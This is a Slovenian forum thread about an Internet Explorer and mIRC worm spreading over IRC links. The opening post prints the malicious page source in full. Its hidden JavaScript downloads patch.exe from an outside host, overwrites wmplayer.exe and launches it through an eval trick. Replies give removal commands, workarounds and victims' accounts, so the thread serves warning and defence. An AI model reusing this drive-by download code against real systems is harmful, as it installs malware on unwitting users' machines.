Forum » Omrežja in internet » Za glodanje: nek čuden virus ie/mirc virus
Za glodanje: nek čuden virus ie/mirc virus
Ziga Dolhar ::
Okej, imamo eno fletno povezavico:
[link sem namenoma pokvaril -- NE ODPIRAJ, preden ne prebereš ostalega!]
Ta stran nam navidezno prikaže neko slikco, v sourcu pa vidimo tole:
<html>
<textarea id="code" style="display:none;">
<html>
<textarea id="code" style="display:none;">
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://scavenger.sharewith.us/patch.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";
</textarea>
<img src="newbie.jpg">
<script language="javascript">
function preparecode(code) {
result = '';
lines = code.split(/\r\n/);
for (i=0;i<lines.length;i++) {
line = lines[i];
line = line.replace(/^\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\\'");
line = line.replace(/[\\]/g,"\\\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval('" + mycode + "')";
window.open(myURL,"_media");
}
window.open("error.php","_media");
setTimeout("doit()", 5000);
</script>
</html>
</textarea>
<img src="newbie.jpg">
<script language="javascript">
function preparecode(code) {
result = '';
lines = code.split(/\r\n/);
for (i=0;i<lines.length;i++) {
line = lines[i];
line = line.replace(/^\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\\'");
line = line.replace(/[\\]/g,"\\\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval('" + mycode + "')";
window.open(myURL,"_media");
}
window.open("error.php","_media");
setTimeout("doit()", 5000);
</script>
</html>
Ko uporabnik to stran odpre, po ircu [z uporabo mirca] začne nezavedno širit takole vrstico:
[zopet pokvarjeno]
Če na hitro pogledamo tistole kodo, vidimo, da je nek string malce zakodiran (v bistvu niti ne -- vendar ga more jscript prevest v sebi prežvečljivo obliko, torej odstranit latin/html entitete). Če funkciji prepareCode() na koncu naročimo, naj string izpiše, dobimo tole:
Pozna kdo morda kakšne podrobnosti? Sicer se ravnokar mislim odpravit po netu malce poglodat, vendar bi kakšni hitri napotki, kako pomagat ljudstvu na ircu, vseeno bili koristni :-).
Ta stran nam navidezno prikaže neko slikco, v sourcu pa vidimo tole:
<html>
<textarea id="code" style="display:none;">
<html>
<textarea id="code" style="display:none;">
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://scavenger.sharewith.us/patch.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";
</textarea>
<img src="newbie.jpg">
<script language="javascript">
function preparecode(code) {
result = '';
lines = code.split(/\r\n/);
for (i=0;i<lines.length;i++) {
line = lines[i];
line = line.replace(/^\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\\'");
line = line.replace(/[\\]/g,"\\\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval('" + mycode + "')";
window.open(myURL,"_media");
}
window.open("error.php","_media");
setTimeout("doit()", 5000);
</script>
</html>
</textarea>
<img src="newbie.jpg">
<script language="javascript">
function preparecode(code) {
result = '';
lines = code.split(/\r\n/);
for (i=0;i<lines.length;i++) {
line = lines[i];
line = line.replace(/^\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\\'");
line = line.replace(/[\\]/g,"\\\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval('" + mycode + "')";
window.open(myURL,"_media");
}
window.open("error.php","_media");
setTimeout("doit()", 5000);
</script>
</html>
Ko uporabnik to stran odpre, po ircu [z uporabo mirca] začne nezavedno širit takole vrstico:
Če na hitro pogledamo tistole kodo, vidimo, da je nek string malce zakodiran (v bistvu niti ne -- vendar ga more jscript prevest v sebi prežvečljivo obliko, torej odstranit latin/html entitete). Če funkciji prepareCode() na koncu naročimo, naj string izpiše, dobimo tole:
var x = new ActiveXObject("Microsoft.XMLHTTP");x.Open("GET", "http:%2f%2fscavenger.sharewith.us%2fpatch.exe",0);x.Send();var s = new ActiveXObject("ADODB.Stream");s.Mode = 3;s.Type = 1;s.Open();s.Write(x.responseBody);s.SaveToFile("C:\\\\Program Files\\\\Windows Media Player\\\\wmplayer.exe",2);location.href = "mms:%2f%2f";
Pozna kdo morda kakšne podrobnosti? Sicer se ravnokar mislim odpravit po netu malce poglodat, vendar bi kakšni hitri napotki, kako pomagat ljudstvu na ircu, vseeno bili koristni :-).
https://dolhar.si/
- spremenil: Ziga Dolhar ()
Ziga Dolhar ::
Klik 1
Klik 2
(izvleček:
Klik 2
(izvleček:
WORKAROUND :
Disable active scripting or do "the sensible thing" and pick another browser
such as the
excellent mozilla firebird.
https://dolhar.si/
ahac ::
pa ?e mIRCa dol vr?e? pa da? en drug irc klient gor pa je..
heh.. je sme?no in ?alostno hkrati kaj se dogaja..
jaz sem folk, k daje ta link gor banal z kanala.. sami so si krivi, da uporabljajo kar uporabljajo
heh.. je sme?no in ?alostno hkrati kaj se dogaja..
jaz sem folk, k daje ta link gor banal z kanala.. sami so si krivi, da uporabljajo kar uporabljajo
Slo-Tech Discord - https://discord.gg/ppCtzMW
Ziga Dolhar ::
Težava je, ahac, da se zna zgodit, da bodo na koncu naši kanali ostali prazni. Pardon. Ostali bodo brez obiskovalcev. Pomagajva jim! 
https://dolhar.si/
Ziga Dolhar ::
Poleg klasičnih prevencih, torej neuporaba IEja (in mIrca), očitno pomaga tudi, če ne brskaš kot Administrator, ampak omejen uporabnik [grupa 'users'] -- meni je pomagalo.
Še navodila, ki so se ravno pojavila na #slo-tech kanalu:
Hvala spikey^-u za navodila :).
Še navodila, ki so se ravno pojavila na #slo-tech kanalu:
"How do I know if I'm infected? How do I get rid of the worm?"
In mIRC, press Alt+R -> List, and see if script.ini is in that list.
If you are using mIRC 6.0 or higher, type /socklist. If "BOT-<some number in the range of 1-99999>" is in the list, the worm is present and working.
Since mIRC will automatically reload script.ini to Remote-section upon starting, /unloading will not be permanent.
system back in 10 min max
Due to this, you should write in mIRC:
//unload -rs script.ini | write -c script.ini | remove script.ini | run command.com /c attrib.exe -r mirc.ini | ignore -r
This will unload the worm from your client, clear&remove it and remove attribute r (read-only) from mirc.ini.
Also, if you have more than one folder with mirc.ini in it, perform a search for script.ini and remove them all (if found).
______________________________________________________________________
that should fix it
Hvala spikey^-u za navodila :).
https://dolhar.si/
fry ::
hja, men se zdi da je poleg ocitnega (nonIE default browser) v tem primeru zacasno dost ok, ce c:\program files\windows media player\wmplayer.exe spremenite v readonly fajl. to pomen, da skripta ne bo mogla zadeve presnet in se vam ne bo instalirala.
pomaga seveda tut ce uporabljate ksn spybot imunize, norton antivirus pa zadeve trenutno ne spozna za virus (tut ce .exe fajl iz skripte snamete na disk).
pomaga seveda tut ce uporabljate ksn spybot imunize, norton antivirus pa zadeve trenutno ne spozna za virus (tut ce .exe fajl iz skripte snamete na disk).
mrTwelveTrees ::
pa v pi*ko m**erno ... ZAKAJ za vraga folk dela te "viruse" odtrgal bi mu jajca...
ps: nisem kliknu na ta link :)
ps: nisem kliknu na ta link :)
ahac ::
no.. po eni strani je pa dobr, ker to spodbuja uporabnike, da preizkusijo alternativne browserje in irc kliente.. 
Slo-Tech Discord - https://discord.gg/ppCtzMW
monster-x ::
Mnja, sem bil sm žrtev tega virusa. Rezultat? Formatirat sem mogu particijo in še enkrat naložit Winse.
There comes a point when a dream becomes reality and reality becomes a dream.
mare_ ::
Danes ponoči me je prav mora tlačila zaradi tega virusa. Sanjalo se mi je, da se mi je naloži na računalnik in da so potem Windowsi počasi, kos za kosom, izginjali. Na koncu se še računalnik ni dal ugasnit. V upanju, da bi rešil nekaj podatkov, sem prestavil disk v dugo mašino in se je potem še ta okužil...
Grozne sanje, res.....
Grozne sanje, res.....
grrrrrrr ::
Ma pisda jst sm mirno kliknu na link, ne da bi sploh pomislu na ta klincev virus... Zdej mam edino moznost da formatiram disk? 
Sej se sam ne vem zakaj uporablam IE neuporabn. No pcja mi itak noce bootat... Repairat pa tut noce,... Fucking virus.
Sej se sam ne vem zakaj uporablam IE neuporabn. No pcja mi itak noce bootat... Repairat pa tut noce,... Fucking virus.
Jackal ::
Šit... I got screwed too... že iščem zdravilo.
Walking the way is something completely different than imagining the way.
monster-x ::
Eko, že drugič ta teden ta virus... Sej sploh ne vem zakaj nč ne mislim, ko klikam. Damm 
Zna kdo delat s tisto dosovsko konzolo pr repair xp-jev?
Zna kdo delat s tisto dosovsko konzolo pr repair xp-jev?
There comes a point when a dream becomes reality and reality becomes a dream.
AndraZK ::
Jst mam ta fajl če ga nuca kdo ki bi ga znal disassemblat... wmplayr.exe
ker mam na c: win98 in je v c:programfiles skopiral ta fajl, zagnal je pa mojga na d: ... tko da če nuca kdo ki zna kej narest s tega... mu lohk pošlem
lp, Andraz
ker mam na c: win98 in je v c:programfiles skopiral ta fajl, zagnal je pa mojga na d: ... tko da če nuca kdo ki zna kej narest s tega... mu lohk pošlem
lp, Andraz
kihc ::
JaO, ljudjje men se tud ne pr?ge kista in najraj?i bi kerga oklofotal. Spljoh pa kaksen micro$oft in njegov explorer. Sicer sam uporabljam mozillo, vendat ker mi slike ni in ni hotelo odpreti, sem poskusil se v explorerju.
Upam da se da naredit se kej drugega kot reinstall winsow.
plz help me
Upam da se da naredit se kej drugega kot reinstall winsow.
plz help me
Ziga Dolhar ::
Le zakaj uporabniki Linuxa povečini niso prijavljeni kot uporabnik "root", medtem ko se 99 % uporabnikov Windowsev ceni za "Administratorje".
[Žal je privzet tip računa v WinXP član administratorske skupine. A to ne more bit izgovor.]
[Žal je privzet tip računa v WinXP član administratorske skupine. A to ne more bit izgovor.]
https://dolhar.si/
OmegaBlue ::
Use Opera/Mozilla 
Never attribute to malice that which can be adequately explained by stupidity.
Marjan ::
Uf, zdajle sem šel *mimo* (jupiii :) pekla!
Je nekdo na IRCu dal link do okužene slike, in jaz seveda kliknem 'joškarico' in odprl z browserjem MyIE2.
Na kanalu #slo-tech je Sergio takoj zagnal paniko, da bo treba format, Gandalf me je malo pomiril itd... ;))
WMPlayer.exe sem dal na read only, mIRC sem uninstaliral in izbrisal njegove fajle. In sedaj mi mašina deluje BP. Pojasnit si ne znam, ampak se ne obremenjujem preveč
Tako, da thx folks za nasvete itd.
Je nekdo na IRCu dal link do okužene slike, in jaz seveda kliknem 'joškarico' in odprl z browserjem MyIE2.
Na kanalu #slo-tech je Sergio takoj zagnal paniko, da bo treba format, Gandalf me je malo pomiril itd... ;))
WMPlayer.exe sem dal na read only, mIRC sem uninstaliral in izbrisal njegove fajle. In sedaj mi mašina deluje BP. Pojasnit si ne znam, ampak se ne obremenjujem preveč
Tako, da thx folks za nasvete itd.
Zgodovina sprememb…
- spremenilo: Marjan ()
Dr_M ::
kako pa to da men nikol ne rata dubit ksnga srtonosnega virusa/trojanca/worma karkoli ze??
sej tko dostkrat zalaufam antivirus, pa najde ksne cudne stvari, ampak same take ki dejansko nic ne pocnejo...lepo zbrisem in je mir.
zadne cajte se pa velik konjev iz trojan pase okol....
sej tko dostkrat zalaufam antivirus, pa najde ksne cudne stvari, ampak same take ki dejansko nic ne pocnejo...lepo zbrisem in je mir.
zadne cajte se pa velik konjev iz trojan pase okol....
The reason why most of society hates conservatives and
loves liberals is because conservatives hurt you with
the truth and liberals comfort you with lies.
loves liberals is because conservatives hurt you with
the truth and liberals comfort you with lies.
sidd ::
JaO, ljudjje men se tud ne pr?ge kista in najraj?i bi kerga oklofotal. Spljoh pa kaksen micro$oft in njegov explorer. Sicer sam uporabljam mozillo, vendat ker mi slike ni in ni hotelo odpreti, sem poskusil se v explorerju.
no, kihc, mes se je isto zgodlo, pol pa sn zagnal spy sweeper, pa mi je računalnik zaštekal, zato sn lepo restartal mašino, in nato mi ni druga ostalo, ko reinstal winsow..samo ne razumem pa, zakaj sem tud ob podatke z druge particije...toti xp-ji so pa res za k*rc
zaj pač vse jovo na novo, kaj pa nea mislim.....
aja, pa še eno vprašanje tak mimogrede...kak se da nastavit tisti firewall na irc skriptah. men ga nikak ne uspe....
lp
no, kihc, mes se je isto zgodlo, pol pa sn zagnal spy sweeper, pa mi je računalnik zaštekal, zato sn lepo restartal mašino, in nato mi ni druga ostalo, ko reinstal winsow..samo ne razumem pa, zakaj sem tud ob podatke z druge particije...toti xp-ji so pa res za k*rc
zaj pač vse jovo na novo, kaj pa nea mislim.....
aja, pa še eno vprašanje tak mimogrede...kak se da nastavit tisti firewall na irc skriptah. men ga nikak ne uspe....
lp
Mr-poki ::
moj frend je zadnic kliknu en link na ircu pa mu je vse začel štekat pa je resetiru pc po mu pa ni prepoznal diska.... ce vete kok nej bi mu pomagal prosim povejte
-=GoDfAtHeR=-
Marjan ::
Mogoče pa jaz nisem dobil tega virusa ravno zaradi nameščenega FireWall-a1!!??
Zaradi tega se mi tudi mIRC konekta kako minuto dlje!!!
Zaradi tega se mi tudi mIRC konekta kako minuto dlje!!!
Dr_M ::
take stvari pride mimo fw-ja - celo obidejo ga potem.
The reason why most of society hates conservatives and
loves liberals is because conservatives hurt you with
the truth and liberals comfort you with lies.
loves liberals is because conservatives hurt you with
the truth and liberals comfort you with lies.
mchaber ::
Never underestimate the power of Mozilla.
Mozila sam napiše nek error
--------------------------------------------------
Saj z mozilo ne moreš dobit tega
,kajne? 
Mozila sam napiše nek error
--------------------------------------------------
Saj z mozilo ne moreš dobit tega
,kajne? .
Avenger ::
Mogoče bo tole trapasto vprašanje, ampak a če imaš prižgan Norton Antivirus Auto-Protect nisi nujno varen pred takimi produkti žlehtnobe?
It is better to be hated for what you are than to be loved for something you are not.
Dr_M ::
ce mas nortona ne rabis virusa da ti umori windowse 
drugac ti pa ksn pametn virus tut to disejbla.
drugac ti pa ksn pametn virus tut to disejbla.
The reason why most of society hates conservatives and
loves liberals is because conservatives hurt you with
the truth and liberals comfort you with lies.
loves liberals is because conservatives hurt you with
the truth and liberals comfort you with lies.
Predator ::
danes sva z mchregecom našla še eno verzijo, ki deluje podobno kot zgornja in jo določeni osebki probajo razširit; stvar zlorablja isto luknjo v internet explorerju , deluje v ie 5x & 6x in inštalira irc bota, več se nam pa ni dalo gledat...
torej, če že morate klikat na vse linke v ircu, si dobodite en ne ie based ( avant, myie2 ) brskalnik like mozilla, opera...
aja še ta verzija se širi prek linka
( ne dam pravega linka ker se bo še kdo spomnil svojo verzijo razvit... )
torej, če že morate klikat na vse linke v ircu, si dobodite en ne ie based ( avant, myie2 ) brskalnik like mozilla, opera...
aja še ta verzija se širi prek linka
Building a better mousetrap merely results in smarter mice.
Vredno ogleda ...
| Tema | Ogledi | Zadnje sporočilo | |
|---|---|---|---|
| Tema | Ogledi | Zadnje sporočilo | |
| » | HackedOddelek: Izdelava spletišč | 1441 (802) | stb |
| » | [c#] shrani text, tabele, slikeOddelek: Programiranje | 1502 (1108) | klemen93 |
| » | [Naloga] : Max kompresija testne datotekeOddelek: Programiranje | 3104 (2028) | StratOS |
| » | ipv6 for g33k`s (strani: 1 2 )Oddelek: Omrežja in internet | 13034 (9590) | Kami |
| » | ASCII in binarni sys HELP!Oddelek: Programiranje | 2797 (2716) | rejnmen |